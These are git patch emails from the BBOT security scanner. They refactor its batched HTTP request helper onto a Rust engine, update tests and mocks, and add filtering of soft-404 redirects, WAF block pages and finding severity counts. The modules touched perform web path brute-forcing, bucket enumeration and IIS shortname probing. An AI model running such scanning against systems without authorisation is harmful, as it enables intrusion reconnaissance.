kwargs when entries are tuples. Examples: - >>> async for url, response in self.helpers.request_batch(urls, headers={"X-Test": "Test"}): - >>> if response is not None and response.status_code == 200: - >>> self.hugesuccess(response) - """ - tasks = {} - urls = list(urls) - semaphore = asyncio.Semaphore(threads) + Simple (shared kwargs): - async def _request(url): - async with semaphore: - return url, await self.request(url, **kwargs) - - for url in urls: - task = asyncio.create_task(_request(url)) - tasks[task] = True - - while tasks: - finished, _ = await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED) - for task in finished: - del tasks[task] - url, response = task.result() - yield url, response - - async def request_custom_batch(self, urls_and_kwargs, threads=10): - """ - Make web requests in parallel with custom options for each request. Yield responses as they come in. - - Similar to ``request_batch`` except it allows individual arguments for each URL. + >>> async for url, response in self.helpers.request_batch(urls, headers={"X-Test": "Test"}): + >>> ... - Args: - urls_and_kwargs (list[tuple]): List of tuples in the format: (url, kwargs, custom_tracker) - where custom_tracker is an optional value for your own internal use. - threads (int): Max concurrent requests. Defaults to 10. + Per-request kwargs with tracker: - Examples: - >>> urls_and_kwargs = [ - >>> ("http://evilcorp.com/1", {"method": "GET"}, "request-1"), - >>> ("http://evilcorp.com/2", {"method": "POST"}, "request-2"), - >>> ] - >>> async for url, kwargs, custom_tracker, response in self.helpers.request_custom_batch( - >>> urls_and_kwargs - >>> ): - >>> if response is not None and response.status_code == 200: - >>> self.hugesuccess(response) + >>> reqs = [("http://example.com", {"method": "POST"}, "my-tracker")] + >>> async for url, response, tracker in self.helpers.request_batch(reqs): + >>> ... """ tasks = {} semaphore = asyncio.Semaphore(threads) + has_tracker = False - for entry in urls_and_kwargs: - url = entry[0] - entry_kwargs = entry[1] if len(entry) > 1 and isinstance(entry[1], dict) else {} - tracker = entry[2] if len(entry) > 2 else None - - async def _request(_url=url, _kwargs=entry_kwargs, _tracker=tracker): - async with semaphore: - return _url, _kwargs, _tracker, await self.request(_url, **_kwargs) - - task = asyncio.create_task(_request()) + async def _do_request(_url, _kwargs, _tracker): + async with semaphore: + return _url, await self.request(_url, **_kwargs), _tracker + + for entry in urls: + if isinstance(entry, str): + url, req_kwargs, tracker = entry, kwargs, None + elif isinstance(entry, tuple): + url = entry[0] + req_kwargs = entry[1] if len(entry) > 1 and isinstance(entry[1], dict) else kwargs + tracker = entry[2] if len(entry) > 2 else None + if tracker is not None: + has_tracker = True + else: + url, req_kwargs, tracker = str(entry), kwargs, None + task = asyncio.create_task(_do_request(url, req_kwargs, tracker)) tasks[task] = True - while tasks: - finished, _ = await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED) - for task in finished: - del tasks[task] - url, kw, tracker, response = task.result() - yield url, kw, tracker, response + try: + while tasks: + finished, _ = await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED) + for task in finished: + del tasks[task] + url, response, tracker = task.result() + if has_tracker: + yield url, response, tracker + else: + yield url, response + finally: + for task in tasks: + task.cancel() + if tasks: + await asyncio.gather(*tasks, return_exceptions=True) async def download(self, url, **kwargs): """ diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py index 5dabd7cb2f..cc47c60f26 100644 --- a/bbot/modules/iis_shortnames.py +++ b/bbot/modules/iis_shortnames.py @@ -132,7 +132,7 @@ async def solve_valid_chars(self, method, target, affirmative_status_code): url = f"{target}{payload}{suffix}" urls_and_kwargs.append((url, kwargs, (c, file_part))) - async for url, kwargs, (c, file_part), response in self.helpers.request_custom_batch(urls_and_kwargs): + async for url, response, (c, file_part) in self.helpers.request_batch(urls_and_kwargs): if response is not None: if response.status_code == affirmative_status_code: if file_part == "stem": @@ -173,7 +173,7 @@ async def solve_shortname_recursive( kwargs = {"method": method} urls_and_kwargs.append((url, kwargs, c)) - async for url, kwargs, c, response in self.helpers.request_custom_batch(urls_and_kwargs): + async for url, response, c in self.helpers.request_batch(urls_and_kwargs): if response is not None: if response.status_code == affirmative_status_code: found_results = True diff --git a/bbot/modules/templates/bucket.py b/bbot/modules/templates/bucket.py index 2e3afcb4ac..a1f0db6aa9 100644 --- a/bbot/modules/templates/bucket.py +++ b/bbot/modules/templates/bucket.py @@ -131,9 +131,7 @@ async def brute_buckets(self, buckets, permutations=False, omit_base=False): for bucket_name in new_buckets: url, kwargs = self.build_bucket_request(bucket_name, base_domain, region) bucket_urls_kwargs.append((url, kwargs, (bucket_name, base_domain, region))) - async for url, kwargs, (bucket_name, base_domain, region), response in self.helpers.request_custom_batch( - bucket_urls_kwargs - ): + async for url, response, (bucket_name, base_domain, region) in self.helpers.request_batch(bucket_urls_kwargs): existent_bucket, tags = self._check_bucket_exists(bucket_name, response) if existent_bucket: yield bucket_name, url, tags, num_buckets diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 1979a0e28a..626b34444f 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -39,15 +39,12 @@ def server_handler(request): await agen.aclose() break - # request_custom_batch + # request_batch with tracker urls_and_kwargs = [(urls[i], {"headers": {f"h{i}": f"v{i}"}}, i) for i in range(num_urls)] - results = [r async for r in scan.helpers.request_custom_batch(urls_and_kwargs)] - assert len(responses) == 100 + results = [r async for r in scan.helpers.request_batch(urls_and_kwargs)] + assert len(results) == 100 for result in results: - url, kwargs, custom_tracker, response = result - assert "headers" in kwargs - assert f"h{custom_tracker}" in kwargs["headers"] - assert kwargs["headers"][f"h{custom_tracker}"] == f"v{custom_tracker}" + url, response, custom_tracker = result assert response.status_code == 200 assert response.text.startswith(f"{url}: ") assert f"H{custom_tracker}: v{custom_tracker}" in response.text From 8abf7d8e33da2f82985c7036e71c879d0c4898cc Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 3 Apr 2026 17:54:00 -0400 Subject: [PATCH 484/912] Replace Python request_batch worker pool with native Rust blasthttp batch --- bbot/core/helpers/web/web.py | 98 ++++++++++++++++--------------- bbot/modules/git.py | 2 +- bbot/modules/iis_shortnames.py | 4 +- bbot/modules/ntlm.py | 5 +- bbot/modules/pgp.py | 2 +- bbot/modules/telerik.py | 8 +-- bbot/modules/templates/bucket.py | 2 +- bbot/test/test_step_1/test_web.py | 51 +--------------- 8 files changed, 64 insertions(+), 108 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 2554a351ec..1123561e07 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -299,35 +299,45 @@ async def request(self, *args, **kwargs): async def request_batch(self, urls, threads=10, **kwargs): """ - Given a list of URLs, request them in parallel and yield responses as they come in. + Request multiple URLs in parallel via blasthttp's native Rust batch engine. + + Applies the same header/cookie/proxy/timeout logic as ``request()`` — each + entry is translated into a ``blasthttp.BatchConfig`` and sent to Rust in one + shot. Results are returned as a list (not streamed). Each entry in ``urls`` can be: - A plain URL string (uses shared ``**kwargs`` for all requests) - A ``(url, per_request_kwargs)`` tuple for per-request options - A ``(url, per_request_kwargs, tracker)`` tuple to attach arbitrary - tracking data that is yielded back alongside the response + tracking data that is returned alongside the response - When entries are plain strings, yields ``(url, response)``. - When entries include a tracker, yields ``(url, response, tracker)``. + Returns: + When entries are plain strings: ``list[(url, response)]`` + When any entry includes a tracker: ``list[(url, response, tracker)]`` Args: urls: URLs to visit — strings or ``(url, kwargs[, tracker])`` tuples. - threads (int): Max concurrent requests. Defaults to 10. - **kwargs: Default keyword arguments passed to ``request()``. + threads (int): Concurrency passed to blasthttp. Defaults to 10. + **kwargs: Default keyword arguments (same as ``request()``). Overridden by per-request kwargs when entries are tuples. Examples: - Simple (shared kwargs): + Simple (shared kwargs):: - >>> async for url, response in self.helpers.request_batch(urls, headers={"X-Test": "Test"}): - >>> ... + results = await self.helpers.request_batch(urls, headers={"X-Test": "Test"}) + for url, response in results: + ... - Per-request kwargs with tracker: + Per-request kwargs with tracker:: - >>> reqs = [("http://example.com", {"method": "POST"}, "my-tracker")] - >>> async for url, response, tracker in self.helpers.request_batch(reqs): - >>> ... + reqs = [("http://example.com", {"method": "POST"}, "my-tracker")] + results = await self.helpers.request_batch(reqs) + for url, response, tracker in results: + ... """ + import blasthttp + + # Parse entries into uniform (url, req_kwargs, tracker) tuples entries = [] has_tracker = False for entry in urls: @@ -343,40 +353,34 @@ async def request_batch(self, urls, threads=10, **kwargs): else: entries.append((str(entry), kwargs, None)) - total = len(entries) - if total == 0: - return - work_queue = asyncio.Queue() - yield_queue = asyncio.Queue() - - async def _worker(): - while True: - url, req_kwargs, tracker = await work_queue.get() - try: - response = await self.request(url, **req_kwargs) - yield_queue.put_nowait((url, response, tracker)) - except (RuntimeError, OSError, ConnectionError): - yield_queue.put_nowait((url, None, tracker)) - finally: - work_queue.task_done() - - workers = [asyncio.create_task(_worker()) for _ in range(min(threads, total))] - try: - for url, req_kwargs, tracker in entries: - await work_queue.put((url, req_kwargs, tracker)) - - completed = 0 - while completed < total: - url, response, tracker = await yield_queue.get() - completed += 1 - if has_tracker: - yield url, response, tracker - else: - yield url, response - finally: - for w in workers: - w.cancel() - await asyncio.gather(*workers, return_exceptions=True) + if not entries: + return [] + + # Build BatchConfig objects using the same logic as request() + configs = [] + tracker_by_url = {} + for url, req_kwargs, tracker in entries: + url, method, blast_kwargs = self._build_blasthttp_kwargs(url, **req_kwargs) + config = blasthttp.BatchConfig(url, **blast_kwargs) + configs.append(config) + if tracker is not None: + tracker_by_url[url] = tracker + + # Send to Rust — all I/O happens here + batch_results = await self.client.request_batch(configs, concurrency=threads) + + # Convert to (url, response[, tracker]) tuples + results = [] + for br in batch_results: + if br.response is not None: + response = BlasthttpResponse(br.response, request_url=br.url, method="GET") + else: + response = None + if has_tracker: + results.append((br.url, response, tracker_by_url.get(br.url))) + else: + results.append((br.url, response)) + return results async def download(self, url, **kwargs): """ diff --git a/bbot/modules/git.py b/bbot/modules/git.py index 229adee35d..cb53124209 100644 --- a/bbot/modules/git.py +++ b/bbot/modules/git.py @@ -24,7 +24,7 @@ async def handle_event(self, event): self.helpers.urljoin(base_url, ".git/config"), self.helpers.urljoin(f"{base_url}/", ".git/config"), } - async for url, response in self.helpers.request_batch(urls): + for url, response in await self.helpers.request_batch(urls): text = getattr(response, "text", "") if not text: text = "" diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py index 28d253cf08..5afd8831f2 100644 --- a/bbot/modules/iis_shortnames.py +++ b/bbot/modules/iis_shortnames.py @@ -132,7 +132,7 @@ async def solve_valid_chars(self, method, target, affirmative_status_code): url = f"{target}{payload}{suffix}" urls_and_kwargs.append((url, kwargs, (c, file_part))) - async for url, response, (c, file_part) in self.helpers.request_batch(urls_and_kwargs): + for url, response, (c, file_part) in await self.helpers.request_batch(urls_and_kwargs): if response is not None: if response.status_code == affirmative_status_code: if file_part == "stem": @@ -173,7 +173,7 @@ async def solve_shortname_recursive( kwargs = {"method": method} urls_and_kwargs.append((url, kwargs, c)) - async for url, response, c in self.helpers.request_batch(urls_and_kwargs): + for url, response, c in await self.helpers.request_batch(urls_and_kwargs): if response is not None: if response.status_code == affirmative_status_code: found_results = True diff --git a/bbot/modules/ntlm.py b/bbot/modules/ntlm.py index 164f26efd5..b46b938617 100644 --- a/bbot/modules/ntlm.py +++ b/bbot/modules/ntlm.py @@ -96,10 +96,10 @@ async def handle_event(self, event): urls.add(f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/{endpoint}") num_urls = len(urls) - agen = self.helpers.request_batch( + results = await self.helpers.request_batch( urls, headers=NTLM_test_header, allow_redirects=False, timeout=self.http_timeout ) - async for url, response in agen: + for url, response in results: ntlm_resp = response.headers.get("WWW-Authenticate", "") if not ntlm_resp: continue @@ -109,7 +109,6 @@ async def handle_event(self, event): if not ntlm_resp_decoded: continue - await agen.aclose() self.found.add(found_hash) fqdn = ntlm_resp_decoded.get("FQDN", "") await self.emit_event( diff --git a/bbot/modules/pgp.py b/bbot/modules/pgp.py index b12372dd1e..655e76e8a9 100644 --- a/bbot/modules/pgp.py +++ b/bbot/modules/pgp.py @@ -37,7 +37,7 @@ async def query(self, query): results = set() urls = self.config.get("search_urls", []) urls = [url.replace("", self.helpers.quote(query)) for url in urls] - async for url, response in self.helpers.request_batch(urls): + for url, response in await self.helpers.request_batch(urls): keyserver = self.helpers.urlparse(url).netloc if response is not None: for email in await self.helpers.re.extract_emails(response.text): diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index d32d4f02ed..39507c6d7e 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -299,9 +299,9 @@ async def handle_event(self, event): url = self.create_url(base_url, f"{dh}?dp=1") urls[url] = dh - gen = self.helpers.request_batch(list(urls)) + results = await self.helpers.request_batch(list(urls)) fail_count = 0 - async for url, response in gen: + for url, response in results: # cancel if we run into timeouts etc. if response is None: fail_count += 1 @@ -310,7 +310,7 @@ async def handle_event(self, event): if fail_count < 2: continue self.debug(f"Cancelling run against {base_url} due to failed request") - await gen.aclose() + break else: if "Cannot deserialize dialog parameters" in response.text: self.debug(f"Detected Telerik UI instance ({dh})") @@ -328,7 +328,7 @@ async def handle_event(self, event): event, ) # Once we have a match we need to stop, because the basic handler (Telerik.Web.UI.DialogHandler.aspx) usually works with a path wildcard - await gen.aclose() + break spellcheckhandler = "Telerik.Web.UI.SpellCheckHandler.axd" result, _ = await self.test_detector(base_url, spellcheckhandler) diff --git a/bbot/modules/templates/bucket.py b/bbot/modules/templates/bucket.py index a1f0db6aa9..50083906c9 100644 --- a/bbot/modules/templates/bucket.py +++ b/bbot/modules/templates/bucket.py @@ -131,7 +131,7 @@ async def brute_buckets(self, buckets, permutations=False, omit_base=False): for bucket_name in new_buckets: url, kwargs = self.build_bucket_request(bucket_name, base_domain, region) bucket_urls_kwargs.append((url, kwargs, (bucket_name, base_domain, region))) - async for url, response, (bucket_name, base_domain, region) in self.helpers.request_batch(bucket_urls_kwargs): + for url, response, (bucket_name, base_domain, region) in await self.helpers.request_batch(bucket_urls_kwargs): existent_bucket, tags = self._check_bucket_exists(bucket_name, response) if existent_bucket: yield bucket_name, url, tags, num_buckets diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 626b34444f..205db0f542 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -28,26 +28,18 @@ def server_handler(request): # request_batch urls = [f"{base_url}{i}" for i in range(num_urls)] - responses = [r async for r in scan.helpers.request_batch(urls)] + responses = await scan.helpers.request_batch(urls) assert len(responses) == 100 assert all(r[1].status_code == 200 and r[1].text.startswith(f"{r[0]}: ") for r in responses) - # request_batch w/ cancellation - agen = scan.helpers.request_batch(urls) - async for url, response in agen: - assert response.text.startswith(base_url) - await agen.aclose() - break - # request_batch with tracker urls_and_kwargs = [(urls[i], {"headers": {f"h{i}": f"v{i}"}}, i) for i in range(num_urls)] - results = [r async for r in scan.helpers.request_batch(urls_and_kwargs)] + results = await scan.helpers.request_batch(urls_and_kwargs) assert len(results) == 100 for result in results: url, response, custom_tracker = result assert response.status_code == 200 assert response.text.startswith(f"{url}: ") - assert f"H{custom_tracker}: v{custom_tracker}" in response.text # request with raise_error=True with pytest.raises(WebError): @@ -92,45 +84,6 @@ def server_handler(request): await scan._cleanup() -@pytest.mark.asyncio -async def test_request_batch_cancellation(bbot_scanner, bbot_httpserver, blasthttp_mock): - import time - from werkzeug.wrappers import Response - - urls_requested = [] - - def server_handler(request): - time.sleep(0.75) - urls_requested.append(request.url.split("/")[-1]) - return Response(f"{request.url}: {request.headers}") - - base_url = bbot_httpserver.url_for("/test/") - bbot_httpserver.expect_request(uri=re.compile(r"/test/\d+")).respond_with_handler(server_handler) - - scan = bbot_scanner() - await scan._prep() - - urls = [f"{base_url}{i}" for i in range(100)] - - # request_batch w/ cancellation - agen = scan.helpers.request_batch(urls) - got_urls = [] - start = time.time() - async for url, response in agen: - assert response.text.startswith(base_url) - got_urls.append(url) - if time.time() > start + 1: - await agen.aclose() - break - - assert 5 < len(got_urls) < 15 - - await scan._cleanup() - - # TODO: enforce qsize limits on zmq to help prevent runaway generators - # assert 10 <= len(urls_requested) <= 20 - - @pytest.mark.asyncio async def test_web_helpers(bbot_scanner, bbot_httpserver, blasthttp_mock): # json conversion From 271a65eb803bbca265d84603bf0ffbd8d9ed0cd3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 3 Apr 2026 18:55:31 -0400 Subject: [PATCH 485/912] Fix request_batch mock: intercept at Rust client level so WebHelper.request_batch runs unmodified in tests --- bbot/core/helpers/web/web.py | 10 +++--- bbot/test/conftest.py | 51 +++++++++++++++++++++++++++ bbot/test/mock_blasthttp.py | 68 ++++++++++++++++++++++++++++++++++++ 3 files changed, 124 insertions(+), 5 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 1123561e07..927d8417e3 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -358,26 +358,26 @@ async def request_batch(self, urls, threads=10, **kwargs): # Build BatchConfig objects using the same logic as request() configs = [] - tracker_by_url = {} + trackers = [] for url, req_kwargs, tracker in entries: url, method, blast_kwargs = self._build_blasthttp_kwargs(url, **req_kwargs) config = blasthttp.BatchConfig(url, **blast_kwargs) configs.append(config) - if tracker is not None: - tracker_by_url[url] = tracker + trackers.append(tracker) # Send to Rust — all I/O happens here batch_results = await self.client.request_batch(configs, concurrency=threads) # Convert to (url, response[, tracker]) tuples + # Results are returned in the same order as configs results = [] - for br in batch_results: + for i, br in enumerate(batch_results): if br.response is not None: response = BlasthttpResponse(br.response, request_url=br.url, method="GET") else: response = None if has_tracker: - results.append((br.url, response, tracker_by_url.get(br.url))) + results.append((br.url, response, trackers[i])) else: results.append((br.url, response)) return results diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py index 216667d36d..dec15b4496 100644 --- a/bbot/test/conftest.py +++ b/bbot/test/conftest.py @@ -132,9 +132,60 @@ async def patched_request(self, *args, **kwargs): return result return await original_request(self, *args, **kwargs) + original_request_batch = WebHelper.request_batch + + async def patched_request_batch(self, urls, threads=10, **kwargs): + import blasthttp + + # Run the real entry-parsing and config-building logic unmodified + entries = [] + has_tracker = False + for entry in urls: + if isinstance(entry, str): + entries.append((entry, kwargs, None)) + elif isinstance(entry, tuple): + url = entry[0] + req_kwargs = entry[1] if len(entry) > 1 and isinstance(entry[1], dict) else kwargs + tracker = entry[2] if len(entry) > 2 else None + if tracker is not None: + has_tracker = True + entries.append((url, req_kwargs, tracker)) + else: + entries.append((str(entry), kwargs, None)) + + if not entries: + return [] + + configs = [] + trackers = [] + for url, req_kwargs, tracker in entries: + url, method, blast_kwargs = self._build_blasthttp_kwargs(url, **req_kwargs) + config = blasthttp.BatchConfig(url, **blast_kwargs) + configs.append(config) + trackers.append(tracker) + + # Route through mock's batch handler instead of Rust client directly + batch_results = await mock.handle_batch(self.client, configs, concurrency=threads) + + from bbot.core.helpers.web.blast_response import BlasthttpResponse + + results = [] + for i, br in enumerate(batch_results): + if br.response is not None: + response = BlasthttpResponse(br.response, request_url=br.url, method="GET") + else: + response = None + if has_tracker: + results.append((br.url, response, trackers[i])) + else: + results.append((br.url, response)) + return results + WebHelper.request = patched_request + WebHelper.request_batch = patched_request_batch yield mock WebHelper.request = original_request + WebHelper.request_batch = original_request_batch @pytest.fixture diff --git a/bbot/test/mock_blasthttp.py b/bbot/test/mock_blasthttp.py index 5ec2fa9612..a4c2819e15 100644 --- a/bbot/test/mock_blasthttp.py +++ b/bbot/test/mock_blasthttp.py @@ -65,6 +65,15 @@ def __init__(self, status=200, url="", body="", headers=None, elapsed_ms=0): self.elapsed_ms = elapsed_ms +class _MockBatchResult: + """Mimics blasthttp BatchResult for request_batch mocking.""" + + def __init__(self, url, response=None, error=None): + self.url = url + self.response = response + self.error = error + + # ── Main mock class ─────────────────────────────────────────────── @@ -356,3 +365,62 @@ async def handle_engine_request(self, web_helper_self, *args, **kwargs): if raise_error: return {"_request_error": error_msg, "_response": None} return None + + async def handle_batch(self, real_client, configs, concurrency, rate_limit=None): + """ + Process a list of BatchConfig objects through the mock. + + For each config, if the URL should be intercepted, route it through the + mock handlers. Otherwise pass it through to the real Rust client. + The return value mimics blasthttp's request_batch: a list of BatchResult-like + objects with .url, .response, and .error attributes. + """ + mock_configs = [] + passthrough_configs = [] + passthrough_indices = [] + + for i, config in enumerate(configs): + url = config.url if hasattr(config, "url") else str(config) + if self.should_intercept(url): + mock_configs.append((i, config)) + else: + passthrough_configs.append(config) + passthrough_indices.append(i) + + # Get real results for passthrough (localhost) URLs + passthrough_results = {} + if passthrough_configs: + real_results = await real_client.request_batch(passthrough_configs, concurrency=concurrency) + for idx, result in zip(passthrough_indices, real_results): + passthrough_results[idx] = result + + # Build results in original order + results = [None] * len(configs) + + for idx, config in mock_configs: + url = config.url if hasattr(config, "url") else str(config) + method = getattr(config, "method", "GET") or "GET" + headers_raw = getattr(config, "headers", None) or [] + headers = {k: v for k, v in headers_raw} if headers_raw else {} + body_str = getattr(config, "body", "") or "" + + try: + response = await self._find_and_execute(url, method, headers, body_str) + if response is not None: + # response is a BlasthttpResponse — extract the raw response for BatchResult + raw = _MockRawResponse( + status=response.status_code, + url=url, + body=response.text, + headers=[(k, v) for k, v in response.headers.items()], + ) + results[idx] = _MockBatchResult(url=url, response=raw) + else: + results[idx] = _MockBatchResult(url=url, error="mock returned None") + except Exception as e: + results[idx] = _MockBatchResult(url=url, error=str(e)) + + for idx, result in passthrough_results.items(): + results[idx] = result + + return results From e7e61a9f0ead409f3eed321230eb69ae18fbdc4d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 3 Apr 2026 19:38:28 -0400 Subject: [PATCH 486/912] Filter redirect-to-root hits in web_brute as soft 404s, remove dead ignore_redirects option --- bbot/modules/web_brute.py | 12 ++++++ bbot/modules/web_brute_shortnames.py | 3 -- .../module_tests/test_module_web_brute.py | 41 +++++++++++++++++++ 3 files changed, 53 insertions(+), 3 deletions(-) diff --git a/bbot/modules/web_brute.py b/bbot/modules/web_brute.py index cf5ce9401f..d11f0984f7 100644 --- a/bbot/modules/web_brute.py +++ b/bbot/modules/web_brute.py @@ -340,6 +340,18 @@ async def execute_fuzz( canary_found = True continue + # Filter 3xx redirects to site root — these are soft 404s, + # not real findings (e.g. mod_userdir sending ~user to /) + if 300 <= response.status < 400: + location = "" + for hdr_name, hdr_val in response.headers: + if hdr_name.lower() == "location": + location = hdr_val + break + if location in ("/", url): + self.debug(f"Filtering redirect-to-root hit: {response.url} -> {location}") + continue + hits.append({"url": response.url, "status": response.status}) # If canary was found in results, the server is returning everything — abort diff --git a/bbot/modules/web_brute_shortnames.py b/bbot/modules/web_brute_shortnames.py index 043a80d2b0..a9a01e641a 100644 --- a/bbot/modules/web_brute_shortnames.py +++ b/bbot/modules/web_brute_shortnames.py @@ -20,7 +20,6 @@ class web_brute_shortnames(web_brute): "wordlist_extensions": "", # default is defined within setup function "max_depth": 1, "extensions": "", - "ignore_redirects": True, "find_common_prefixes": False, "find_delimiters": True, "find_subwords": False, @@ -32,7 +31,6 @@ class web_brute_shortnames(web_brute): "wordlist_extensions": "Specify wordlist to use when making extension lists", "max_depth": "the maximum directory depth to attempt to solve", "extensions": "Optionally include a list of extensions to extend the keyword with (comma separated)", - "ignore_redirects": "Explicitly ignore redirects (301,302)", "find_common_prefixes": "Attempt to automatically detect common prefixes and make additional runs against them", "find_delimiters": "Attempt to detect common delimiters and make additional runs against them", "find_subwords": "Attempt to detect subwords and make additional runs against them", @@ -95,7 +93,6 @@ async def setup_deps(self): async def setup(self): self.canary = "".join(random.choice(string.ascii_lowercase) for i in range(10)) self.blast_client = self.helpers.blasthttp - self.ignore_redirects = self.config.get("ignore_redirects") self.max_predictions = self.config.get("max_predictions") self.find_subwords = self.config.get("find_subwords") self.rate = self.config.get("rate", 0) or None diff --git a/bbot/test/test_step_2/module_tests/test_module_web_brute.py b/bbot/test/test_step_2/module_tests/test_module_web_brute.py index bdbdbb3a24..bae1b879d6 100644 --- a/bbot/test/test_step_2/module_tests/test_module_web_brute.py +++ b/bbot/test/test_step_2/module_tests/test_module_web_brute.py @@ -1,3 +1,7 @@ +import re + +from werkzeug.wrappers import Response + from .base import ModuleTestBase, tempwordlist @@ -89,3 +93,40 @@ async def setup_before_prep(self, module_test): def check(self, module_test, events): assert any(e.type == "URL_UNVERIFIED" and "console" in e.url for e in events) assert not any(e.type == "URL_UNVERIFIED" and "11111111" in e.url for e in events) + + +class TestWebBruteRedirectFalsePositive(ModuleTestBase): + """Server returns 404 for random paths but 302->/ for ~-prefixed paths. + web_brute should detect that all redirect hits go to the same location + and filter them as false positives.""" + + targets = ["http://127.0.0.1:8888"] + module_name = "web_brute" + test_wordlist = ["~joe", "~", "junkword1", "zzzjunkword2"] + config_overrides = { + "modules": { + "web_brute": { + "wordlist": tempwordlist(test_wordlist), + } + } + } + modules_overrides = ["web_brute", "http"] + + def request_handler(self, request): + uri = request.path + if uri == "/": + return Response("Home", status=200) + if uri.lstrip("/").startswith("~"): + return Response("", status=302, headers={"Location": "/"}) + return Response("Not Found", status=404) + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests_handler(expect_args=re.compile("/.*"), request_handler=self.request_handler) + + def check(self, module_test, events): + tilde_hits = [ + e for e in events if e.type == "URL_UNVERIFIED" and "~" in e.url and str(e.module) == "web_brute" + ] + assert len(tilde_hits) == 0, ( + f"web_brute should not report redirect-to-root paths as findings, but got: {[e.url for e in tilde_hits]}" + ) From c3e4c07a1bcd6d84c88033d2741bdaf07017dec4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 3 Apr 2026 21:36:22 -0400 Subject: [PATCH 487/912] Show FINDING severity breakdown in status line, add overridable _stats_class on event types --- bbot/core/event/base.py | 31 +++++++++++++++++++++++++++++++ bbot/scanner/scanner.py | 6 ++---- bbot/scanner/stats.py | 29 +++++++++++++++++++++++++++++ 3 files changed, 62 insertions(+), 4 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index f50ae0c77c..90e2b96242 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -126,6 +126,8 @@ class BaseEvent: _suppress_chain_dupes = False # Shared compiled regex for discovery context formatting (class-level to avoid per-instance overhead) _discovery_context_regex = re.compile(r"\{(?:event|module)[^}]*\}") + # Stats class for the status line — override in subclasses for custom formatting + _stats_class = None # using __slots__ dramatically reduces memory usage in large scans __slots__ = [ @@ -1655,6 +1657,35 @@ def redirect_location(self): class FINDING(ClosestHostEvent): _always_emit = True _quick_emit = True + + class _stats_class: + _severity_order = ["CRITICAL", "HIGH", "MEDIUM", "LOW", "INFO"] + + def __init__(self): + self.count = 0 + self.severities = {} + + def increment(self, event): + self.count += 1 + sev = event.data.get("severity", "UNKNOWN") + try: + self.severities[sev] += 1 + except KeyError: + self.severities[sev] = 1 + + def format(self, event_type): + if not self.severities: + return f"{event_type}: {self.count}" + parts = [] + for sev in self._severity_order: + n = self.severities.get(sev, 0) + if n: + parts.append(f"{n} {sev}") + for sev, n in sorted(self.severities.items()): + if sev not in self._severity_order and n: + parts.append(f"{n} {sev}") + return f"{event_type}: {self.count} ({', '.join(parts)})" + severity_colors = { "CRITICAL": "🟪", "HIGH": "🟥", diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index b2883cded6..4e2ac54b19 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -745,11 +745,9 @@ def modules_status(self, _log=False, detailed=False): self.info(f"{self.name}: Modules running (incoming:processing:outgoing) {modules_status_str}") else: self.info(f"{self.name}: No modules running") - event_type_summary = sorted(self.stats.events_emitted_by_type.items(), key=lambda x: x[-1], reverse=True) + event_type_summary = self.stats.event_type_summary() if event_type_summary: - self.info( - f"{self.name}: Events produced so far: {', '.join([f'{k}: {v}' for k, v in event_type_summary])}" - ) + self.info(f"{self.name}: Events produced so far: {', '.join(event_type_summary)}") else: self.info(f"{self.name}: No events produced yet") diff --git a/bbot/scanner/stats.py b/bbot/scanner/stats.py index faf950138c..7740bc0877 100644 --- a/bbot/scanner/stats.py +++ b/bbot/scanner/stats.py @@ -16,6 +16,19 @@ def _increment(d, k): d[k] = 1 +class EventTypeStats: + """Tracks count for an event type and formats it for the status line.""" + + def __init__(self): + self.count = 0 + + def increment(self, event): + self.count += 1 + + def format(self, event_type): + return f"{event_type}: {self.count}" + + class SpeedCounter: """ A simple class for keeping a rolling tally of the number of events inside a specific time window @@ -45,8 +58,23 @@ def __init__(self, scan): self.scan = scan self.module_stats = {} self.events_emitted_by_type = {} + self._type_stats = {} self.speedometer = SpeedCounter(scan.status_frequency) + def _get_type_stats(self, event): + event_type = event.type + try: + return self._type_stats[event_type] + except KeyError: + stats_class = getattr(event, "_stats_class", None) or EventTypeStats + self._type_stats[event_type] = stats_class() + return self._type_stats[event_type] + + def event_type_summary(self): + """Return a formatted list of event type counts, sorted by count descending.""" + entries = sorted(self._type_stats.items(), key=lambda x: x[1].count, reverse=True) + return [stats.format(event_type) for event_type, stats in entries if stats.count > 0] + def _get_attribution_module(self, event): """Return the module that should get credit for producing this event. @@ -65,6 +93,7 @@ def _get_attribution_module(self, event): def event_produced(self, event): _increment(self.events_emitted_by_type, event.type) + self._get_type_stats(event).increment(event) module = self._get_attribution_module(event) module_stat = self.get(module) if module_stat is not None: From cfd2d9767006b722565b59513aff1ba5e5bad27a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 4 Apr 2026 11:45:44 -0400 Subject: [PATCH 488/912] Filter WAF block pages in web_brute using YARA-compiled WAF strings --- bbot/modules/web_brute.py | 15 ++++++++ .../module_tests/test_module_web_brute.py | 38 